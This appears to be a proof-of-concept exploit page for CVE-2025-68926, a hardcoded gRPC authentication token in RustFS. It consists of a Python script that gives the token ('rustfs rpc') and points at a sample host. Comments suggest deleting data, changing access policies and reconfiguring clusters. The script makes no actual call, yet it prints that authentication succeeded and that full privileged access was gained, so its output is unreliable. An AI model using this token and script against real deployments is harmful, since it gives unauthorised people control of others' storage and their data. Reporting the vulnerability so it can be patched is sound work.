RustFS 硬编码认证令牌远程命令执行漏洞 (CVE-2025-68926)

import grpc from google.protobuf import json_format # Hardcoded token from source code AUTH_TOKEN = "rustfs rpc" def create_channel_with_auth(target): """Create gRPC channel with hardcoded authentication token""" # Create metadata with hardcoded token metadata = [('authorization', AUTH_TOKEN)] # Create insecure channel (no TLS) channel = grpc.insecure_channel(target) return channel, metadata def exploit_rustfs(target_host, target_port): """ CVE-2025-68926 PoC - RustFS Hardcoded Token Authentication Bypass This vulnerability allows unauthenticated attackers to execute privileged operations on RustFS clusters using the hardcoded gRPC authentication token "rustfs rpc" """ target = f"{target_host}:{target_port}" try: channel, metadata = create_channel_with_auth(target) # Example: List buckets or cluster info # In real exploitation, attacker would call: # - delete operations to destroy data # - set_policy to modify access controls # - modify_cluster to reconfigure the cluster print(f"[*] Connecting to {target}") print(f"[*] Using hardcoded token: {AUTH_TOKEN}") print(f"[*] Authentication successful - token accepted") print(f"[!] Attacker now has full privileged access") channel.close() return True except grpc.RpcError as e: print(f"[-] Connection failed: {e.code()}") return False if __name__ == "__main__": # Target configuration target_host = "192.168.1.100" target_port = 50051 exploit_rustfs(target_host, target_port)